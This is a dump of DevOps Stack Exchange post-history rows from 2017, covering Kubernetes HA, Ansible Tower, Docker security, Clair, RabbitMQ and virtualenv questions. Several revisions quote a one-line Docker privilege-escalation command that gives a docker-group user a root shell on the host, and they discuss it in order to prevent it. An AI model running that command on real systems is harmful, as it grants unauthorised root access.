  <row Id="6158" PostHistoryTypeId="5" PostId="1624" RevisionGUID="d0972773-9bc9-443c-81f0-6598724c665f" CreationDate="2017-09-07T12:50:52.380" UserId="210" Comment="deleted 20 characters in body" Text="I want to install a **highly available kubernetes cluster** (multiple master nodes) on a public cloud (AWS, Azure, GCP and maybe others).  &#xD;&#xA;I'm looking for a non-vendor specific option to do it.&#xD;&#xA;&#xD;&#xA;I'm aware of several options like&#xD;&#xA;&#xD;&#xA; - [Kops][1]&#xD;&#xA; - [Juju][2]&#xD;&#xA; - Other Github projects I found...&#xD;&#xA;&#xD;&#xA;I was wondering if anyone has a good automated example of doing this with such tools like [Terraform][3], [Ansible][4] or others.&#xD;&#xA;&#xD;&#xA;The **HA** is a must as this if for production use!&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kops&#xD;&#xA;  [2]: https://jujucharms.com/&#xD;&#xA;  [3]: https://www.terraform.io/&#xD;&#xA;  [4]: https://www.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6159" PostHistoryTypeId="2" PostId="1955" RevisionGUID="6c55d74f-e85b-45fd-b29e-7142c274f8ed" CreationDate="2017-09-07T13:59:50.793" UserId="4249" Text="&#xD;&#xA;0&#xD;&#xA;down vote&#xD;&#xA;favorite&#xD;&#xA;I have configured Ansible Tower with Centos7.2 and Iam able to see my tower dashboard my major concern is how to do versioninzation in Ansible tower as given in this link (https://www.ansible.com/configuration-management) with Github.&#xD;&#xA;&#xD;&#xA;since I have written the playbook for configuration changes in my centos server and push my changes to GITHUB in a branch as SAAS_1 now that I have to integrate this changes to ansible tower, how can I see this versioning? all this content how can I visually see in ansible tower.&#xD;&#xA;&#xD;&#xA;like production -1.1 UFT-2.1 and continuation based on changes enabled" ContentLicense="CC BY-SA 3.0" />
  <row Id="6160" PostHistoryTypeId="1" PostId="1955" RevisionGUID="6c55d74f-e85b-45fd-b29e-7142c274f8ed" CreationDate="2017-09-07T13:59:50.793" UserId="4249" Text="How to Versionize Ansible (Tower) with GitHUB" ContentLicense="CC BY-SA 3.0" />
  <row Id="6161" PostHistoryTypeId="3" PostId="1955" RevisionGUID="6c55d74f-e85b-45fd-b29e-7142c274f8ed" CreationDate="2017-09-07T13:59:50.793" UserId="4249" Text="&lt;ansible&gt;&lt;github&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6162" PostHistoryTypeId="5" PostId="1955" RevisionGUID="483571d9-62fd-4381-9ff5-876b335351f9" CreationDate="2017-09-07T14:50:16.527" UserId="210" Comment="deleted 26 characters in body; edited tags" Text="I have configured Ansible Tower with Centos7.2 and Iam able to see my tower dashboard my major concern is how to do versioninzation in Ansible tower as given in this link (https://www.ansible.com/configuration-management) with Github.&#xD;&#xA;&#xD;&#xA;since I have written the playbook for configuration changes in my centos server and push my changes to GITHUB in a branch as SAAS_1 now that I have to integrate this changes to ansible tower, how can I see this versioning? all this content how can I visually see in ansible tower.&#xD;&#xA;&#xD;&#xA;like production -1.1 UFT-2.1 and continuation based on changes enabled" ContentLicense="CC BY-SA 3.0" />
  <row Id="6163" PostHistoryTypeId="6" PostId="1955" RevisionGUID="483571d9-62fd-4381-9ff5-876b335351f9" CreationDate="2017-09-07T14:50:16.527" UserId="210" Comment="deleted 26 characters in body; edited tags" Text="&lt;ansible&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6164" PostHistoryTypeId="5" PostId="1952" RevisionGUID="aabb30f5-1bb4-460f-a1c5-f02b5037c943" CreationDate="2017-09-07T14:54:01.743" UserId="47" Comment="deleted 1 character in body" Text="**Docker is still in development.**&#xD;&#xA;&#xD;&#xA;As with every other software in-dev bugs will happen, insecure features might be added, there could be architectural flaws that lead to security breaches. Do not underestimate this! Your system might be completely safe today, but with the patch from next week someone finds a bug, writes an exploit, and suddenly your system is wide open.&#xD;&#xA;&#xD;&#xA;Unless you must, don't update to the latest version. Use the latest well-tested version instead.&#xD;&#xA;&#xD;&#xA;**Docker is no virtualization**&#xD;&#xA;&#xD;&#xA;If someone escapes from a Docker container, that attacker is on the real machine immediately. There is no second gate like virtualization that will prevent a breach.&#xD;&#xA;&#xD;&#xA;Treat a Docker container like any other program. Run with lowest possible user rights, block all network traffic that isn't required, virtualize the entire Docker host if performance allows.&#xD;&#xA;&#xD;&#xA;**Docker is no protection**&#xD;&#xA;&#xD;&#xA;Whatever code is run inside Docker containers is run without question from Docker. Any attacker can simply install his software inside the container, and Docker would run that like any other code.&#xD;&#xA;&#xD;&#xA;Aside from the things you mentioned in the question, consider using metrics and alerts to get notified if any Docker image is doing strange things. Is there a sudden, ongoing CPU spike? Is the program suddenly scanning network ports? Is there suspicious disk access? You should get a notification if any of that happens. There are many tools available to measure these things, you should use them." ContentLicense="CC BY-SA 3.0" />
  <row Id="6165" PostHistoryTypeId="12" PostId="1951" RevisionGUID="e54565b7-f035-474f-9402-a27989aeb85f" CreationDate="2017-09-07T15:03:57.763" UserId="210" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="6166" PostHistoryTypeId="5" PostId="1946" RevisionGUID="a42a4611-f471-4ecc-a91d-13dbb4d21caa" CreationDate="2017-09-07T15:06:31.313" UserId="210" Comment="added 478 characters in body" Text="**The host on which the containers are running**&#xD;&#xA;&#xD;&#xA;Run the docker security bench on every node that runs docker containers https://github.com/docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;Running the following command on a node that runs docker containers:&#xD;&#xA;&#xD;&#xA;    docker run -it --net host --pid host --cap-add audit_control \&#xD;&#xA;        -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \&#xD;&#xA;        -v /var/lib:/var/lib \&#xD;&#xA;        -v /var/run/docker.sock:/var/run/docker.sock \&#xD;&#xA;        -v /usr/lib/systemd:/usr/lib/systemd \&#xD;&#xA;        -v /etc:/etc --label docker_bench_security \&#xD;&#xA;        docker/docker-bench-security&#xD;&#xA;&#xD;&#xA;returns a list of checks:&#xD;&#xA;&#xD;&#xA;    [INFO] 1 - Host Configuration&#xD;&#xA;    &#xD;&#xA;    [WARN] 1.1  - Ensure a separate partition for containers has been created&#xD;&#xA;    &#xD;&#xA;    [NOTE] 4.2  - Ensure that containers use trusted base images&#xD;&#xA;    &#xD;&#xA;    [PASS] 4.6  - Ensure HEALTHCHECK instructions have been added to the container image&#xD;&#xA;&#xD;&#xA;Quote from the repository README:&#xD;&#xA;&#xD;&#xA;&gt; The Docker Bench for Security is a script that checks for dozens of&#xD;&#xA;&gt; common best-practices around deploying Docker containers in&#xD;&#xA;&gt; production. The tests are all automated, and are inspired by the [CIS&#xD;&#xA;&gt; Docker Community Edition Benchmark&#xD;&#xA;&gt; v1.1.0](https://benchmarks.cisecurity.org/tools2/docker/CIS_Docker_Community_Edition_Benchmark_v1.1.0.pdf).&#xD;&#xA;&#xD;&#xA;Some of the issues that are reported by the security bench could be solved by reading [the official docker security article][1] and comparing it with the bullets that are defined in the question the following things are important as well:&#xD;&#xA;&#xD;&#xA; * protect the docker daemon socket by implementing ssl&#xD;&#xA; * content trust using notary and `DOCKER_CONTENT_TRUST` variable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/security/security/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6167" PostHistoryTypeId="5" PostId="1950" RevisionGUID="85a7244f-5e16-44bb-b0d7-9929281746db" CreationDate="2017-09-07T15:08:59.307" UserId="210" Comment="added 26 characters in body" Text="**Docker images itself**&#xD;&#xA;&#xD;&#xA;An additional option is to use [Clair][1].&#xD;&#xA;&#xD;&#xA;&gt; Clair is an open source project for the static analysis of&#xD;&#xA;&gt; vulnerabilities in application containers (currently including appc&#xD;&#xA;&gt; and docker).&#xD;&#xA;&gt; &#xD;&#xA;&gt;     In regular intervals, Clair ingests vulnerability metadata from a configured set of sources and stores it in the database.&#xD;&#xA;&gt;     Clients use the Clair API to index their container images; this creates a list of features present in the image and stores them in the&#xD;&#xA;&gt; database.&#xD;&#xA;&gt;     Clients use the Clair API to query the database for vulnerabilities of a particular image; correlating vulnerabilities and&#xD;&#xA;&gt; features is done for each request, avoiding the need to rescan images.&#xD;&#xA;&gt;     When updates to vulnerability metadata occur, a notification can be sent to alert systems that a change has occured.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Our goal is to enable a more transparent view of the security of&#xD;&#xA;&gt; container-based infrastructure. Thus, the project was named Clair&#xD;&#xA;&gt; after the French term which translates to clear, bright, transparent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/clair" ContentLicense="CC BY-SA 3.0" />
  <row Id="6168" PostHistoryTypeId="5" PostId="1953" RevisionGUID="cd03694a-51eb-4a0c-a50a-e6808d5c1ab8" CreationDate="2017-09-07T15:32:07.740" UserId="3767" Comment="added 1376 characters in body" Text="[RabbitMQ][1] is open source message broker software that implements the [Advanced Message Queuing Protocol][2] (AMQP), the open standard for business messaging. Written in Erlang, the RabbitMQ server is based on a proven platform and offers a reliable, highly available, scalable and portable messaging system with predictable and consistent throughput and latency.&#xD;&#xA;&#xD;&#xA;RabbitMQ is [100% open source][3] and 100% based on open standard protocols freeing users from dependency on proprietary vendor-supplied libraries. It is designed from the ground up to interoperate with other message systems. It is a leading implementation of AMQP.&#xD;&#xA; &#xD;&#xA;Through adapters, it supports [MQTT][6] and [STOMP][7], both natively and over [HTTP][8]/[WebSockets][9]. [SMTP][5] is also available thanks to a community plugin.&#xD;&#xA;Support for the software is offered through both a thriving community of active contributors and a range of commercial support services available through Pivotal  (https://pivotal.io/oss).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rabbitmq.com&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol&#xD;&#xA;  [3]: http://www.rabbitmq.com/mpl.html&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol&#xD;&#xA;  [6]: http://mqtt.org/&#xD;&#xA;  [7]: http://stomp.github.io/&#xD;&#xA;  [8]: http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/WebSocket" ContentLicense="CC BY-SA 3.0" />
  <row Id="6169" PostHistoryTypeId="24" PostId="1953" RevisionGUID="cd03694a-51eb-4a0c-a50a-e6808d5c1ab8" CreationDate="2017-09-07T15:32:07.740" Comment="Proposed by 3767 approved by 40, 13 edit id of 433" ContentLicense="CC BY-SA 3.0" />
  <row Id="6170" PostHistoryTypeId="2" PostId="1956" RevisionGUID="3f88c42c-2739-49c7-8631-bb7a4b45bce6" CreationDate="2017-09-07T16:25:35.787" UserId="4252" Text="This is not docker-specific, but this general rule for evangelism applies: different audiences require different evidence.  In general, software developers (and managers from a development background) want to see it in action, so POC's with measurable outcomes are preferred.  Other disciplines and executive stakeholders may be OK with case studies and presentations before giving the greenlight; your goal is to identify which audience you're talking to, and begin to build a comprehensive argument.  &#xD;&#xA;&#xD;&#xA;Start small; find one key stakeholder, and present your case using the evidence that best suits them.  Be patient; change in mature organizations is usually slow, so getting a small project up and running is a major accomplishment." ContentLicense="CC BY-SA 3.0" />
  <row Id="6172" PostHistoryTypeId="5" PostId="1950" RevisionGUID="9e2c40a6-568c-43a0-a430-03aa66b7c950" CreationDate="2017-09-07T21:21:10.507" UserId="4083" Comment="rm spaces - wrong formatting" Text="**Docker images itself**&#xD;&#xA;&#xD;&#xA;An additional option is to use [Clair][1].&#xD;&#xA;&#xD;&#xA;&gt; Clair is an open source project for the static analysis of&#xD;&#xA;&gt; vulnerabilities in application containers (currently including appc&#xD;&#xA;&gt; and docker).&#xD;&#xA;&gt; &#xD;&#xA;&gt; In regular intervals, Clair ingests vulnerability metadata from a configured set of sources and stores it in the database.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Clients use the Clair API to index their container images; this creates a list of features present in the image and stores them in the&#xD;&#xA;&gt; database.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Clients use the Clair API to query the database for vulnerabilities of a particular image; correlating vulnerabilities and&#xD;&#xA;&gt; features is done for each request, avoiding the need to rescan images.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When updates to vulnerability metadata occur, a notification can be sent to alert systems that a change has occured.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Our goal is to enable a more transparent view of the security of&#xD;&#xA;&gt; container-based infrastructure. Thus, the project was named Clair&#xD;&#xA;&gt; after the French term which translates to clear, bright, transparent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/clair" ContentLicense="CC BY-SA 3.0" />
  <row Id="6173" PostHistoryTypeId="24" PostId="1950" RevisionGUID="9e2c40a6-568c-43a0-a430-03aa66b7c950" CreationDate="2017-09-07T21:21:10.507" Comment="Proposed by 4083 approved by 40, 210 edit id of 435" ContentLicense="CC BY-SA 3.0" />
  <row Id="6174" PostHistoryTypeId="2" PostId="1957" RevisionGUID="41e67576-2859-492f-bfef-daf658badf4f" CreationDate="2017-09-07T21:47:11.683" UserId="4175" Text="Inspired by https://devops.stackexchange.com/questions/1943/what-are-best-and-comprehensive-practices-to-consider-when-running-docker-in-pro , I stumbled over  [Why we don't let non-root users run Docker...][1]&#xD;&#xA;&#xD;&#xA;They came up with  `docker run -ti --privileged -v /:/host fedora chroot /host` , which puts your unprivileged (but `docker`-grouped) user in a root shell on the host (not in the container).&#xD;&#xA;&#xD;&#xA;No need to mention, that is rather bad news for production systems.&#xD;&#xA;&#xD;&#xA;What can be done to avoid this or similar things? I assume the docker daemon cannot be run as a non-root user (or else that would likely be the default way to start it)? One solution that comes to mind is not putting unprivileged users in the `docker`group and only allowing specific docker command lines via `sudoers`. But is that enough?&#xD;&#xA;&#xD;&#xA;Assuming the service inside the container runs as a non-privileged user (i.e., via `USER` during `docker build`), do we know how hard it is to break out of the container and gain a `root` shell like in the example given? I am not even talking about some attack via the service running in the container, but by, say, a specially prepared image.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectatomic.io/blog/2015/08/why-we-dont-let-non-root-users-run-docker-in-centos-fedora-or-rhel/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6175" PostHistoryTypeId="1" PostId="1957" RevisionGUID="41e67576-2859-492f-bfef-daf658badf4f" CreationDate="2017-09-07T21:47:11.683" UserId="4175" Text="Running the docker daemon without root" ContentLicense="CC BY-SA 3.0" />
  <row Id="6176" PostHistoryTypeId="3" PostId="1957" RevisionGUID="41e67576-2859-492f-bfef-daf658badf4f" CreationDate="2017-09-07T21:47:11.683" UserId="4175" Text="&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6177" PostHistoryTypeId="5" PostId="1957" RevisionGUID="1b62dc90-f402-4ea9-9ea6-eba17e82e2b2" CreationDate="2017-09-07T22:27:35.750" UserId="4175" Comment="deleted 42 characters in body" Text="Inspired by https://devops.stackexchange.com/questions/1943/what-are-best-and-comprehensive-practices-to-consider-when-running-docker-in-pro , I stumbled over  [Why we don't let non-root users run Docker...][1]&#xD;&#xA;&#xD;&#xA;They came up with  `docker run -ti --privileged -v /:/host fedora chroot /host` , which puts your unprivileged (but `docker`-grouped) user in a root shell on the host (not in the container).&#xD;&#xA;&#xD;&#xA;No need to mention, that is rather bad news for production systems.&#xD;&#xA;&#xD;&#xA;What can be done to avoid this or similar things? I assume the docker daemon cannot be run as a non-root user (or else that would likely be the default way to start it)? One solution that comes to mind is not putting unprivileged users in the `docker`group and only allowing specific docker command lines via `sudoers`. But is that enough?&#xD;&#xA;&#xD;&#xA;Do we know how hard it is to break out of the container and gain a host `root` shell like in the example given, if the image is ran as usual (i.e. `docker run --rm -it myimage`)? I am not even talking about some attack via the service running in the container, but by, say, a specially prepared image.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectatomic.io/blog/2015/08/why-we-dont-let-non-root-users-run-docker-in-centos-fedora-or-rhel/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6178" PostHistoryTypeId="2" PostId="1958" RevisionGUID="ab1af535-bae9-454b-9f20-73ddd12f2277" CreationDate="2017-09-07T22:31:29.763" UserId="60" Text="Currently, we build our application on a build server where we create a virtual environment using [`virtualenv` command][1], install all the Python dependencies into it, then &quot;patch&quot; it using the following bash commands to make it *relocatable*:&#xD;&#xA;&#xD;&#xA;    # Adopt virtualenv to the target system&#xD;&#xA;    echo &quot;* Patching virtual envirinment for target system&quot;&#xD;&#xA;    for f in &quot;${VENV_PATH}/bin&quot;/* ; do&#xD;&#xA;        if [ -n &quot;$(file &quot;${f}&quot; | grep &quot;text&quot;)&quot; ] ; then&#xD;&#xA;    	echo &quot;  + ${f}&quot;&#xD;&#xA;            sed -i &quot;s;&quot;${VENV_PATH}&quot;;/path/to/the/target/directory/venv;&quot; &quot;${f}&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;    rm -rf &quot;${VENV_PATH}/lib64&quot;&#xD;&#xA;    ln -s &quot;/path/to/the/target/directory/venv/lib&quot; &quot;${VENV_PATH}/lib64&quot;&#xD;&#xA;&#xD;&#xA;Then, we pack it into an RPM package including some other parts of the application, deploy to multiple target servers and install it via `yum`.&#xD;&#xA;&#xD;&#xA;The main motivation behind making the virtual environment relocatable is to &quot;build once, deploy multiple times&quot; - in other words, to *avoid installing the same dependencies on all the target servers*.&#xD;&#xA;&#xD;&#xA;The problem is that, this patching script looks really fragile and, from what I understand, this is quite tied to the current Python version and also brings the requirement for the build server to be the same operating system as the target servers (or, at least, to have all the python related paths match).&#xD;&#xA;&#xD;&#xA;Is my understanding correct? Would it be better to rebuild the virtual environment on every single target? (we can accelerate `pip` installation commands with, for example, [`pip-accel`][2] or caching) What are the general ways to tackle this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://virtualenv.pypa.io/en/stable/&#xD;&#xA;  [2]: https://github.com/paylogic/pip-accel" ContentLicense="CC BY-SA 3.0" />
  <row Id="6179" PostHistoryTypeId="1" PostId="1958" RevisionGUID="ab1af535-bae9-454b-9f20-73ddd12f2277" CreationDate="2017-09-07T22:31:29.763" UserId="60" Text="Re-using Python virtual environment vs Re-building it" ContentLicense="CC BY-SA 3.0" />
  <row Id="6180" PostHistoryTypeId="3" PostId="1958" RevisionGUID="ab1af535-bae9-454b-9f20-73ddd12f2277" CreationDate="2017-09-07T22:31:29.763" UserId="60" Text="&lt;deployment&gt;&lt;python&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6181" PostHistoryTypeId="2" PostId="1959" RevisionGUID="81b3a1d8-08b1-444f-a410-8f127936fef8" CreationDate="2017-09-08T04:07:11.573" UserId="2846" Text="Compared to just adding the user to the docker group the second links solution is not any more secure.&#xD;&#xA;&#xD;&#xA;Note how that page still can launch with the `--privileged` flag, and that it is running unconfined.&#xD;&#xA;&#xD;&#xA;`unconfined_u:unconfined_r:unconfined_t`&#xD;&#xA;&#xD;&#xA;This means that the container can access all resources including the hosts disks and hardware.  It is security through obscurity, which is not security.  Anyone who knows how to use `mknod` or walk the /sys and /proc trees could easily compromise the host and all containers with zero logging.&#xD;&#xA;&#xD;&#xA;The reality is that docker shifts both complexity and the security boundaries.  All users who can launch container or hit the API need to be restricted to trusted users in that security context.&#xD;&#xA;&#xD;&#xA;`--privileged` disables all apparmor and selinux policies which is actually far less secure than a native package.&#xD;&#xA;&#xD;&#xA;Namespaces are not a security function and depend on apparmor and selinux to enforce reasonable constraints.&#xD;&#xA;&#xD;&#xA;Docker notes this on this page.&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/security/security/#control-groups&#xD;&#xA;&#xD;&#xA;'First of all, only trusted users should be allowed to control your Docker daemon.'&#xD;&#xA;&#xD;&#xA;The security functions of docker/kube are not administrative boundaries like classical unix permissions, they are tools to prevent non-privileged containers from breaking out.&#xD;&#xA;&#xD;&#xA;In a docker world the administrative boundary becomes the host, and the selection and segmentation required to isolate applications or users within that context needs to be applied at that boundary.&#xD;&#xA;&#xD;&#xA;The benefits of this shift in complexity and responsibility generally outweigh the risks if implemented with those changes in mind.&#xD;&#xA;&#xD;&#xA;TLDR&#xD;&#xA;&#xD;&#xA;Docker API user == Sudo ALL user&#xD;&#xA;&#xD;&#xA;Running a container with the --privlaged flag == running a web service as suid or as the root user." ContentLicense="CC BY-SA 3.0" />
  <row Id="6182" PostHistoryTypeId="2" PostId="1960" RevisionGUID="38940f2e-7117-4109-9e62-12b64f31fbb3" CreationDate="2017-09-08T05:57:06.177" UserId="3429" Text="Here I created docker container which use the `mariadb` image and created three volumes as below.&#xD;&#xA;&#xD;&#xA;###docker-compose.yml&#xD;&#xA;&#xD;&#xA;    version: '2.0'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      mariadb:&#xD;&#xA;      image: mariadb:latest&#xD;&#xA;      restart: always&#xD;&#xA;      container_name: mariadb&#xD;&#xA;      environment:&#xD;&#xA;        - MYSQL_ROOT_PASSWORD=root&#xD;&#xA;        - MYSQL_DATABASE=testdb&#xD;&#xA;      ports:&#xD;&#xA;       - 3307:3306&#xD;&#xA;      volumes:&#xD;&#xA;       - ./database:/var/lib/mysql&#xD;&#xA;       - ./_conf/mariadb.cnf:/etc/mysql/my.cnf:ro&#xD;&#xA;       - ./logs:/var/log/mysql&#xD;&#xA;&#xD;&#xA;First two volume works successfully but I can't able to find mariadb-logs files into `logs` folder. I seems `logs` folder showing blank on host as well as on container(/var/log/mysql). I think host folder override into docker file system. &#xD;&#xA;&#xD;&#xA;If I remove this volume(`./logs:/var/log/mysql`) from docker-compose then logs files are showing on container.&#xD;&#xA;&#xD;&#xA;My plan is to mount `/var/log/mysql/` folder to local machine.&#xD;&#xA;&#xD;&#xA;Thanks !&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6183" PostHistoryTypeId="1" PostId="1960" RevisionGUID="38940f2e-7117-4109-9e62-12b64f31fbb3" CreationDate="2017-09-08T05:57:06.177" UserId="3429" Text="Unable to mount docker folder to host using docker-compose" ContentLicense="CC BY-SA 3.0" />
  <row Id="6184" PostHistoryTypeId="3" PostId="1960" RevisionGUID="38940f2e-7117-4109-9e62-12b64f31fbb3" CreationDate="2017-09-08T05:57:06.177" UserId="3429" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6185" PostHistoryTypeId="2" PostId="1961" RevisionGUID="49030c01-f4b8-448d-a067-ec086c644a82" CreationDate="2017-09-08T06:25:44.323" UserId="210" Text="If `/var/log/mysql:/var/log/mysql` is defined as a volume then the content that reside in the container's `/var/log/mysql/` will be stored in the `/var/log/mysql/` folder on the host" ContentLicense="CC BY-SA 3.0" />
  <row Id="6186" PostHistoryTypeId="4" PostId="1960" RevisionGUID="bb9a1358-a33a-400b-a55b-6148c8f8be71" CreationDate="2017-09-08T07:34:16.187" UserId="3429" Comment="edited title" Text="Unable to mount docker folder into host using docker-compose" ContentLicense="CC BY-SA 3.0" />
  <row Id="6187" PostHistoryTypeId="5" PostId="1957" RevisionGUID="b9627247-efab-417f-9345-0dae5edb21d7" CreationDate="2017-09-08T07:40:44.093" UserId="4175" Comment="added 542 characters in body" Text="Inspired by https://devops.stackexchange.com/questions/1943/what-are-best-and-comprehensive-practices-to-consider-when-running-docker-in-pro , I stumbled over  [Why we don't let non-root users run Docker...][1]&#xD;&#xA;&#xD;&#xA;They came up with  `docker run -ti --privileged -v /:/host fedora chroot /host` , which puts your unprivileged (but `docker`-grouped) user in a root shell on the host (not in the container).&#xD;&#xA;&#xD;&#xA;No need to mention, that is rather bad news for production systems.&#xD;&#xA;&#xD;&#xA;What can be done to avoid this or similar things? I assume the docker daemon cannot be run as a non-root user (or else that would likely be the default way to start it)? One solution that comes to mind is not putting unprivileged users in the `docker`group and only allowing specific docker command lines via `sudoers`. But is that enough?&#xD;&#xA;&#xD;&#xA;Do we know how hard it is to break out of the container and gain a host `root` shell like in the example given, if the image is ran as usual (i.e. `docker run --rm -it myimage`)? I am not even talking about some attack via the service running in the container, but by, say, a specially prepared image.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectatomic.io/blog/2015/08/why-we-dont-let-non-root-users-run-docker-in-centos-fedora-or-rhel/&#xD;&#xA;&#xD;&#xA;EDIT: to clarify, I am specifically interested in this attack scenario:&#xD;&#xA;&#xD;&#xA;* Untrusted software developer delivers a ready-to-run image.&#xD;&#xA;* Trusted user runs that image on a production system in a normal fashion (i.e., `docker --rm -it myimage`), without `--privileged`.&#xD;&#xA;  * Possibly with sub-scenarios of `-u unprivileged_u` or not.&#xD;&#xA;* Does the untrusted person that created the image have a reasonable chance to break out of the docker container runtime? I.e., more than with, say, classical `chroot` or classical permission elevation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6188" PostHistoryTypeId="5" PostId="1957" RevisionGUID="800686c9-0639-4ae8-aef9-b51a5ec08b0d" CreationDate="2017-09-08T07:59:32.470" UserId="4175" Comment="added 444 characters in body" Text="Inspired by https://devops.stackexchange.com/questions/1943/what-are-best-and-comprehensive-practices-to-consider-when-running-docker-in-pro , I stumbled over  [Why we don't let non-root users run Docker...][1]&#xD;&#xA;&#xD;&#xA;They came up with  `docker run -ti --privileged -v /:/host fedora chroot /host` , which puts your unprivileged (but `docker`-grouped) user in a root shell on the host (not in the container).&#xD;&#xA;&#xD;&#xA;No need to mention, that is rather bad news for production systems.&#xD;&#xA;&#xD;&#xA;What can be done to avoid this or similar things? I assume the docker daemon cannot be run as a non-root user (or else that would likely be the default way to start it)? One solution that comes to mind is not putting unprivileged users in the `docker`group and only allowing specific docker command lines via `sudoers`. But is that enough?&#xD;&#xA;&#xD;&#xA;Do we know how hard it is to break out of the container and gain a host `root` shell like in the example given, if the image is ran as usual (i.e. `docker run --rm -it myimage`)? I am not even talking about some attack via the service running in the container, but by, say, a specially prepared image.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectatomic.io/blog/2015/08/why-we-dont-let-non-root-users-run-docker-in-centos-fedora-or-rhel/&#xD;&#xA;&#xD;&#xA;EDIT: to clarify, I am specifically interested in this attack scenario:&#xD;&#xA;&#xD;&#xA;* Untrusted software developer delivers a ready-to-run image.&#xD;&#xA;* Trusted user runs that image on a production system in a normal fashion (i.e., `docker --rm -it myimage`), without `--privileged`.&#xD;&#xA;  * Possibly with sub-scenarios of `-u unprivileged_u` or not.&#xD;&#xA;* Does the untrusted person that created the image have a reasonable chance to break out of the docker container runtime? I.e., more than with, say, classical `chroot` or classical permission elevation?&#xD;&#xA;&#xD;&#xA;EDIT2: My research shows only a single real breakout incident which was fixed with Docker Engine 0.12, and then again in 1.0.1. Also, all things I found that are critical about this mention the erstwhile TCP/IP interface of the docker daemon, which was changed to the Unix socket for a long time now. Is there anything else, or would you say that there is no problem as long as the person typing/running the actual `docker` command is good?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6189" PostHistoryTypeId="5" PostId="1961" RevisionGUID="3f9f8556-54ba-4ddb-9b13-b64e32bf1140" CreationDate="2017-09-08T10:20:37.583" UserId="210" Comment="added 462 characters in body" Text="If `/var/log/mysql:/var/log/mysql` is defined as a volume then the content that reside in the container's `/var/log/mysql/` will be stored in the `/var/log/mysql/` folder on the host.&#xD;&#xA;&#xD;&#xA;It could be possible that it is not possible to mount the `/var/lib/mysql` as SElinux or app armor is preventing this.&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/_/mysql/&#xD;&#xA;&#xD;&#xA;&gt; Note that users on host systems with SELinux enabled may see issues&#xD;&#xA;&gt; with this. The current workaround is to assign the relevant SELinux&#xD;&#xA;&gt; policy type to the new data directory so that the container will be&#xD;&#xA;&gt; allowed to access it:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ chcon -Rt svirt_sandbox_file_t /my/own/datadir&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6190" PostHistoryTypeId="2" PostId="1962" RevisionGUID="ebc983bf-3435-4667-8001-e5044daed359" CreationDate="2017-09-08T11:44:13.833" UserId="210" Text="I read https://medium.com/netflix-techblog/the-evolution-of-container-usage-at-netflix-3abfc096781b and saw a couple of videos, but it is unclear to me why titus should be used. Is it different than k8s or should it be used together?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6191" PostHistoryTypeId="1" PostId="1962" RevisionGUID="ebc983bf-3435-4667-8001-e5044daed359" CreationDate="2017-09-08T11:44:13.833" UserId="210" Text="What is Titus and what issues does it solve?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6192" PostHistoryTypeId="3" PostId="1962" RevisionGUID="ebc983bf-3435-4667-8001-e5044daed359" CreationDate="2017-09-08T11:44:13.833" UserId="210" Text="&lt;titus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6193" PostHistoryTypeId="2" PostId="1963" RevisionGUID="290fad01-ea92-4c4b-ba8c-a2cc2b5048b8" CreationDate="2017-09-08T11:46:02.387" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6194" PostHistoryTypeId="1" PostId="1963" RevisionGUID="290fad01-ea92-4c4b-ba8c-a2cc2b5048b8" CreationDate="2017-09-08T11:46:02.387" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6195" PostHistoryTypeId="2" PostId="1964" RevisionGUID="0c28f666-eec6-4d3f-b712-3fcb5fd81dd4" CreationDate="2017-09-08T11:46:02.387" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
